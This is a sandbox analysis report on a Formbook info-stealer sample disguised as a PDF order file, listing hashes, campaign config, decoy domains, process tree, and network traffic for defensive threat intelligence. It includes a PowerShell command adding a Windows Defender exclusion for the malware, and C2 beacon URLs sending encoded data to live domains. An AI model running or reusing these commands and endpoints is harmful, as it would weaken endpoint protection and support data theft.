Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

ORDER_1105...df.exe

windows7-x64

10

ORDER_1105...df.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    297s
  • max time network
    299s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/09/2024, 00:50 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ORDER_1105-19-243537.pdf.exe

  • Size

    572KB

  • MD5

    bcd813a5df020375578f7c243dfc0a3e

  • SHA1

    18235f9e38482e7e55714d444e474a981bd038b2

  • SHA256

    654807fa7512e651b73910dab8cc520f40a5ebd3eedad72c7882b1a608fd0f8e

  • SHA512

    b522deeb7e009952df95558d8bfa013ff723975d15fa52cdd95e6b6de0a192c407cf2a245a809cf5680df0bd915786364cdc3f4fb7fcd569a47a91c14dc93ad9

  • SSDEEP

    12288:3HOD40mNJF7R9wPYTOdoPS6Y3kzl610xUob4chTgbqB5QBlLkoQsIjC/Rair:3uDoXR9wPSFPDlt/mqsBlZJIjEv

Score
10/10
formbookrn94discoveryexecutionratspywarestealertrojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

rn94

Decoy

st68v.xyz

conciergenotary.net

qwechaotk.top

rtpdonatoto29.xyz

8ad.xyz

powermove.top

cameras-30514.bond

vanguardcoffee.shop

umoe53fxc1bsujv.buzz

consultoriamax.net

hplxx.com

ndu.wtf

yzh478c.xyz

bigbrown999.site

xiake07.asia

resdai.xyz

the35678.shop

ba6rf.rest

ceo688.com

phimxhot.xyz

Signatures

  • Formbook

    Formbook is a data stealing malware which is capable of stealing data.

    trojanspywarestealerformbook
  • Formbook payload 3 IoCs
    rat
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3500
    • C:\Users\Admin\AppData\Local\Temp\ORDER_1105-19-243537.pdf.exe
      "C:\Users\Admin\AppData\Local\Temp\ORDER_1105-19-243537.pdf.exe"
      2⤵
      • Checks computer location settings
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4888
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ORDER_1105-19-243537.pdf.exe"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3416
      • C:\Users\Admin\AppData\Local\Temp\ORDER_1105-19-243537.pdf.exe
        "C:\Users\Admin\AppData\Local\Temp\ORDER_1105-19-243537.pdf.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        PID:1972
    • C:\Windows\SysWOW64\chkdsk.exe
      "C:\Windows\SysWOW64\chkdsk.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2980
      • C:\Windows\SysWOW64\cmd.exe
        /c del "C:\Users\Admin\AppData\Local\Temp\ORDER_1105-19-243537.pdf.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2132

Network

  • flag-us
    DNS
    104.219.191.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    104.219.191.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    138.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    138.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    154.239.44.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    154.239.44.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    26.165.165.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    26.165.165.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    171.39.242.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    171.39.242.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    217.135.221.88.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    217.135.221.88.in-addr.arpa
    IN PTR
    Response
    217.135.221.88.in-addr.arpa
    IN PTR
    a88-221-135-217deploystaticakamaitechnologiescom
  • flag-us
    DNS
    www.rtpdonatoto29.xyz
    Remote address:
    8.8.8.8:53
    Request
    www.rtpdonatoto29.xyz
    IN A
    Response
  • flag-us
    DNS
    www.expertoffersusa.lat
    Remote address:
    8.8.8.8:53
    Request
    www.expertoffersusa.lat
    IN A
    Response
  • flag-us
    DNS
    www.laku77.bar
    Remote address:
    8.8.8.8:53
    Request
    www.laku77.bar
    IN A
    Response
  • flag-us
    DNS
    0.205.248.87.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    0.205.248.87.in-addr.arpa
    IN PTR
    Response
    0.205.248.87.in-addr.arpa
    IN PTR
    https-87-248-205-0lgwllnwnet
  • flag-us
    DNS
    22.236.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    22.236.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    www.bigbrown999.site
    Remote address:
    8.8.8.8:53
    Request
    www.bigbrown999.site
    IN A
    Response
  • flag-us
    DNS
    www.8ad.xyz
    Remote address:
    8.8.8.8:53
    Request
    www.8ad.xyz
    IN A
    Response
  • flag-us
    DNS
    www.yakintv.pro
    Remote address:
    8.8.8.8:53
    Request
    www.yakintv.pro
    IN A
    Response
    www.yakintv.pro
    IN A
    162.19.83.39
  • flag-fr
    GET
    http://www.yakintv.pro/rn94/?lzrh=yYRQtIAaXQpBFTfnqHSKf47YaLz6/uyBwy/XQ+HS+QcrUg4DYwvDuc2lfCeElXx5rEc=&Jj9TN=1bYxO
    Explorer.EXE
    Remote address:
    162.19.83.39:80
    Request
    GET /rn94/?lzrh=yYRQtIAaXQpBFTfnqHSKf47YaLz6/uyBwy/XQ+HS+QcrUg4DYwvDuc2lfCeElXx5rEc=&Jj9TN=1bYxO HTTP/1.1
    Host: www.yakintv.pro
    Connection: close
    Response
    HTTP/1.1 404 Not Found
    Date: Fri, 20 Sep 2024 00:53:33 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Connection: close
    Content-Type: text/html; charset=iso-8859-1
  • flag-us
    DNS
    39.83.19.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    39.83.19.162.in-addr.arpa
    IN PTR
    Response
    39.83.19.162.in-addr.arpa
    IN PTR
    ns3221720 ip-162-19-83eu
  • flag-us
    DNS
    www.cognigrid.com
    Remote address:
    8.8.8.8:53
    Request
    www.cognigrid.com
    IN A
    Response
    www.cognigrid.com
    IN A
    76.223.54.146
    www.cognigrid.com
    IN A
    13.248.169.48
  • flag-us
    GET
    http://www.cognigrid.com/rn94/?lzrh=GmPSv+kIMIsThhgxsqDxLuIih7zkpaBufXMYWE6O25UajMdzvW9JzoA4vdd7YMlXuaM=&Jj9TN=1bYxO
    Explorer.EXE
    Remote address:
    76.223.54.146:80
    Request
    GET /rn94/?lzrh=GmPSv+kIMIsThhgxsqDxLuIih7zkpaBufXMYWE6O25UajMdzvW9JzoA4vdd7YMlXuaM=&Jj9TN=1bYxO HTTP/1.1
    Host: www.cognigrid.com
    Connection: close
    Response
    HTTP/1.1 200 OK
    Server: openresty
    Date: Fri, 20 Sep 2024 00:53:54 GMT
    Content-Type: text/html
    Content-Length: 200
    Connection: close
  • flag-us
    DNS
    146.54.223.76.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    146.54.223.76.in-addr.arpa
    IN PTR
    Response
    146.54.223.76.in-addr.arpa
    IN PTR
    a904c694c05102f30awsglobalacceleratorcom
  • flag-us
    DNS
    www.laske.xyz
    Remote address:
    8.8.8.8:53
    Request
    www.laske.xyz
    IN A
    Response
  • flag-us
    DNS
    www.sangforln.tech
    Remote address:
    8.8.8.8:53
    Request
    www.sangforln.tech
    IN A
    Response
  • flag-us
    DNS
    www.moviemax.live
    Remote address:
    8.8.8.8:53
    Request
    www.moviemax.live
    IN A
    Response
    www.moviemax.live
    IN CNAME
    moviemax.live
    moviemax.live
    IN A
    162.213.255.58
  • flag-us
    GET
    http://www.moviemax.live/rn94/?lzrh=dVHv+sQP+Mx9XLV0WCB/s4HqDyO7jmaCisM8zSXWkdxkFPdI94oppOIgdetkkhk43ps=&Jj9TN=1bYxO
    Explorer.EXE
    Remote address:
    162.213.255.58:80
    Request
    GET /rn94/?lzrh=dVHv+sQP+Mx9XLV0WCB/s4HqDyO7jmaCisM8zSXWkdxkFPdI94oppOIgdetkkhk43ps=&Jj9TN=1bYxO HTTP/1.1
    Host: www.moviemax.live
    Connection: close
    Response
    HTTP/1.1 301 Moved Permanently
    keep-alive: timeout=5, max=100
    content-type: text/html
    content-length: 795
    date: Fri, 20 Sep 2024 00:54:54 GMT
    server: LiteSpeed
    location: https://www.moviemax.live/rn94/?lzrh=dVHv+sQP+Mx9XLV0WCB/s4HqDyO7jmaCisM8zSXWkdxkFPdI94oppOIgdetkkhk43ps=&Jj9TN=1bYxO
    x-turbo-charged-by: LiteSpeed
    connection: close
  • flag-us
    DNS
    58.255.213.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    58.255.213.162.in-addr.arpa
    IN PTR
    Response
    58.255.213.162.in-addr.arpa
    IN PTR
    server149-2 web-hostingcom
  • flag-us
    DNS
    www.business-printer-22001.bond
    Remote address:
    8.8.8.8:53
    Request
    www.business-printer-22001.bond
    IN A
    Response
  • flag-us
    DNS
    www.nicoleb.tech
    Remote address:
    8.8.8.8:53
    Request
    www.nicoleb.tech
    IN A
    Response
    www.nicoleb.tech
    IN CNAME
    nicoleb.tech
    nicoleb.tech
    IN A
    50.87.178.238
  • flag-us
    GET
    http://www.nicoleb.tech/rn94/?lzrh=uvd5rnYzye/UuX8XKe7zESLvEqsQqot3IpW3pVQ93VGx/L7OY/IJU3a39wIE1GMXaxs=&Jj9TN=1bYxO
    Explorer.EXE
    Remote address:
    50.87.178.238:80
    Request
    GET /rn94/?lzrh=uvd5rnYzye/UuX8XKe7zESLvEqsQqot3IpW3pVQ93VGx/L7OY/IJU3a39wIE1GMXaxs=&Jj9TN=1bYxO HTTP/1.1
    Host: www.nicoleb.tech
    Connection: close
    Response
    HTTP/1.1 301 Moved Permanently
    Date: Fri, 20 Sep 2024 00:55:35 GMT
    Server: nginx/1.25.5
    Content-Type: text/html; charset=UTF-8
    Content-Length: 0
    Expires: Wed, 11 Jan 1984 05:00:00 GMT
    Cache-Control: no-cache, must-revalidate, max-age=0
    X-Redirect-By: WordPress
    Location: http://nicoleb.tech/rn94/?lzrh=uvd5rnYzye/UuX8XKe7zESLvEqsQqot3IpW3pVQ93VGx/L7OY/IJU3a39wIE1GMXaxs=&Jj9TN=1bYxO
    host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
    X-Newfold-Cache-Level: 2
    X-Endurance-Cache-Level: 2
    X-nginx-cache: WordPress
    X-Server-Cache: true
    X-Proxy-Cache: MISS
  • flag-us
    DNS
    238.178.87.50.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    238.178.87.50.in-addr.arpa
    IN PTR
    Response
    238.178.87.50.in-addr.arpa
    IN PTR
    box2522bluehostcom
  • 162.19.83.39:80
    http://www.yakintv.pro/rn94/?lzrh=yYRQtIAaXQpBFTfnqHSKf47YaLz6/uyBwy/XQ+HS+QcrUg4DYwvDuc2lfCeElXx5rEc=&Jj9TN=1bYxO
    http
    Explorer.EXE
    388 B
     669 B
     5
    5

    HTTP Request

    GET http://www.yakintv.pro/rn94/?lzrh=yYRQtIAaXQpBFTfnqHSKf47YaLz6/uyBwy/XQ+HS+QcrUg4DYwvDuc2lfCeElXx5rEc=&Jj9TN=1bYxO

    HTTP Response

    404
  • 76.223.54.146:80
    http://www.cognigrid.com/rn94/?lzrh=GmPSv+kIMIsThhgxsqDxLuIih7zkpaBufXMYWE6O25UajMdzvW9JzoA4vdd7YMlXuaM=&Jj9TN=1bYxO
    http
    Explorer.EXE
    390 B
     552 B
     5
    5

    HTTP Request

    GET http://www.cognigrid.com/rn94/?lzrh=GmPSv+kIMIsThhgxsqDxLuIih7zkpaBufXMYWE6O25UajMdzvW9JzoA4vdd7YMlXuaM=&Jj9TN=1bYxO

    HTTP Response

    200
  • 162.213.255.58:80
    http://www.moviemax.live/rn94/?lzrh=dVHv+sQP+Mx9XLV0WCB/s4HqDyO7jmaCisM8zSXWkdxkFPdI94oppOIgdetkkhk43ps=&Jj9TN=1bYxO
    http
    Explorer.EXE
    390 B
     1.3kB
     5
    4

    HTTP Request

    GET http://www.moviemax.live/rn94/?lzrh=dVHv+sQP+Mx9XLV0WCB/s4HqDyO7jmaCisM8zSXWkdxkFPdI94oppOIgdetkkhk43ps=&Jj9TN=1bYxO

    HTTP Response

    301
  • 50.87.178.238:80
    http://www.nicoleb.tech/rn94/?lzrh=uvd5rnYzye/UuX8XKe7zESLvEqsQqot3IpW3pVQ93VGx/L7OY/IJU3a39wIE1GMXaxs=&Jj9TN=1bYxO
    http
    Explorer.EXE
    389 B
     732 B
     5
    4

    HTTP Request

    GET http://www.nicoleb.tech/rn94/?lzrh=uvd5rnYzye/UuX8XKe7zESLvEqsQqot3IpW3pVQ93VGx/L7OY/IJU3a39wIE1GMXaxs=&Jj9TN=1bYxO

    HTTP Response

    301
  • 8.8.8.8:53
    104.219.191.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    104.219.191.52.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53
    138.32.126.40.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    138.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    154.239.44.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    154.239.44.20.in-addr.arpa

  • 8.8.8.8:53
    26.165.165.52.in-addr.arpa
    dns
    72 B
     146 B
     1
    1

    DNS Request

    26.165.165.52.in-addr.arpa

  • 8.8.8.8:53
    171.39.242.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    171.39.242.20.in-addr.arpa

  • 8.8.8.8:53
    217.135.221.88.in-addr.arpa
    dns
    73 B
     139 B
     1
    1

    DNS Request

    217.135.221.88.in-addr.arpa

  • 8.8.8.8:53
    www.rtpdonatoto29.xyz
    dns
    67 B
     132 B
     1
    1

    DNS Request

    www.rtpdonatoto29.xyz

  • 8.8.8.8:53
    www.expertoffersusa.lat
    dns
    69 B
     134 B
     1
    1

    DNS Request

    www.expertoffersusa.lat

  • 8.8.8.8:53
    www.laku77.bar
    dns
    60 B
     60 B
     1
    1

    DNS Request

    www.laku77.bar

  • 8.8.8.8:53
    0.205.248.87.in-addr.arpa
    dns
    71 B
     116 B
     1
    1

    DNS Request

    0.205.248.87.in-addr.arpa

  • 8.8.8.8:53
    22.236.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    22.236.111.52.in-addr.arpa

  • 8.8.8.8:53
    www.bigbrown999.site
    dns
    66 B
     66 B
     1
    1

    DNS Request

    www.bigbrown999.site

  • 8.8.8.8:53
    www.8ad.xyz
    dns
    57 B
     122 B
     1
    1

    DNS Request

    www.8ad.xyz

  • 8.8.8.8:53
    www.yakintv.pro
    dns
    61 B
     77 B
     1
    1

    DNS Request

    www.yakintv.pro

    DNS Response

    162.19.83.39

  • 8.8.8.8:53
    39.83.19.162.in-addr.arpa
    dns
    71 B
     110 B
     1
    1

    DNS Request

    39.83.19.162.in-addr.arpa

  • 8.8.8.8:53
    www.cognigrid.com
    dns
    63 B
     95 B
     1
    1

    DNS Request

    www.cognigrid.com

    DNS Response

    76.223.54.146
    13.248.169.48

  • 8.8.8.8:53
    146.54.223.76.in-addr.arpa
    dns
    72 B
     128 B
     1
    1

    DNS Request

    146.54.223.76.in-addr.arpa

  • 8.8.8.8:53
    www.laske.xyz
    dns
    59 B
     124 B
     1
    1

    DNS Request

    www.laske.xyz

  • 8.8.8.8:53
    www.sangforln.tech
    dns
    64 B
     129 B
     1
    1

    DNS Request

    www.sangforln.tech

  • 8.8.8.8:53
    www.moviemax.live
    dns
    63 B
     93 B
     1
    1

    DNS Request

    www.moviemax.live

    DNS Response

    162.213.255.58

  • 8.8.8.8:53
    58.255.213.162.in-addr.arpa
    dns
    73 B
     114 B
     1
    1

    DNS Request

    58.255.213.162.in-addr.arpa

  • 8.8.8.8:53
    www.business-printer-22001.bond
    dns
    77 B
     142 B
     1
    1

    DNS Request

    www.business-printer-22001.bond

  • 8.8.8.8:53
    www.nicoleb.tech
    dns
    62 B
     92 B
     1
    1

    DNS Request

    www.nicoleb.tech

    DNS Response

    50.87.178.238

  • 8.8.8.8:53
    238.178.87.50.in-addr.arpa
    dns
    72 B
     106 B
     1
    1

    DNS Request

    238.178.87.50.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jsizmgeh.3ed.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/1972-11-0x0000000000400000-0x000000000042F000-memory.dmp

    Filesize

    188KB

    Download

  • memory/1972-17-0x0000000000400000-0x000000000042F000-memory.dmp

    Filesize

    188KB

    Download

  • memory/1972-18-0x0000000001E30000-0x0000000001E45000-memory.dmp

    Filesize

    84KB

    Download

  • memory/1972-14-0x0000000001930000-0x0000000001C7A000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/2980-69-0x0000000000F50000-0x0000000000F7F000-memory.dmp

    Filesize

    188KB

    Download

  • memory/2980-67-0x0000000000800000-0x000000000080A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/2980-66-0x0000000000800000-0x000000000080A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/3416-26-0x0000000006110000-0x0000000006176000-memory.dmp

    Filesize

    408KB

    Download

  • memory/3416-58-0x0000000007D20000-0x0000000007DB6000-memory.dmp

    Filesize

    600KB

    Download

  • memory/3416-63-0x0000000007DC0000-0x0000000007DC8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/3416-62-0x0000000007DE0000-0x0000000007DFA000-memory.dmp

    Filesize

    104KB

    Download

  • memory/3416-61-0x0000000007CE0000-0x0000000007CF4000-memory.dmp

    Filesize

    80KB

    Download

  • memory/3416-60-0x0000000007CD0000-0x0000000007CDE000-memory.dmp

    Filesize

    56KB

    Download

  • memory/3416-23-0x00000000053C0000-0x00000000053D0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3416-22-0x00000000053C0000-0x00000000053D0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3416-59-0x0000000007CA0000-0x0000000007CB1000-memory.dmp

    Filesize

    68KB

    Download

  • memory/3416-20-0x0000000005A00000-0x0000000006028000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/3416-19-0x0000000074B0E000-0x0000000074B0F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3416-57-0x0000000007B10000-0x0000000007B1A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/3416-55-0x00000000080E0000-0x000000000875A000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/3416-16-0x0000000002E50000-0x0000000002E86000-memory.dmp

    Filesize

    216KB

    Download

  • memory/3416-24-0x00000000059C0000-0x00000000059E2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/3416-56-0x0000000007AA0000-0x0000000007ABA000-memory.dmp

    Filesize

    104KB

    Download

  • memory/3416-25-0x00000000060A0000-0x0000000006106000-memory.dmp

    Filesize

    408KB

    Download

  • memory/3416-41-0x0000000070920000-0x000000007096C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/3416-36-0x0000000006180000-0x00000000064D4000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/3416-37-0x0000000006770000-0x000000000678E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/3416-38-0x0000000006820000-0x000000000686C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/3416-39-0x000000007F170000-0x000000007F180000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3416-40-0x0000000007950000-0x0000000007982000-memory.dmp

    Filesize

    200KB

    Download

  • memory/3416-53-0x0000000006D50000-0x0000000006D6E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/3416-54-0x0000000007990000-0x0000000007A33000-memory.dmp

    Filesize

    652KB

    Download

  • memory/3416-45-0x00000000053C0000-0x00000000053D0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3416-43-0x00000000053C0000-0x00000000053D0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3500-21-0x0000000008C70000-0x0000000008E03000-memory.dmp

    Filesize

    1.6MB

    Download

  • memory/3500-73-0x0000000009430000-0x00000000095B9000-memory.dmp

    Filesize

    1.5MB

    Download

  • memory/3500-68-0x0000000008C70000-0x0000000008E03000-memory.dmp

    Filesize

    1.6MB

    Download

  • memory/4888-7-0x0000000074A8E000-0x0000000074A8F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/4888-9-0x0000000006BC0000-0x0000000006C36000-memory.dmp

    Filesize

    472KB

    Download

  • memory/4888-6-0x00000000055E0000-0x00000000055F0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4888-4-0x0000000074A80000-0x0000000075230000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/4888-13-0x0000000074A80000-0x0000000075230000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/4888-8-0x0000000074A80000-0x0000000075230000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/4888-10-0x0000000009280000-0x000000000931C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/4888-3-0x0000000005150000-0x00000000051E2000-memory.dmp

    Filesize

    584KB

    Download

  • memory/4888-2-0x0000000005600000-0x0000000005BA4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/4888-5-0x0000000005300000-0x000000000530A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/4888-1-0x00000000006E0000-0x0000000000776000-memory.dmp

    Filesize

    600KB

    Download

  • memory/4888-0-0x0000000074A8E000-0x0000000074A8F000-memory.dmp

    Filesize

    4KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.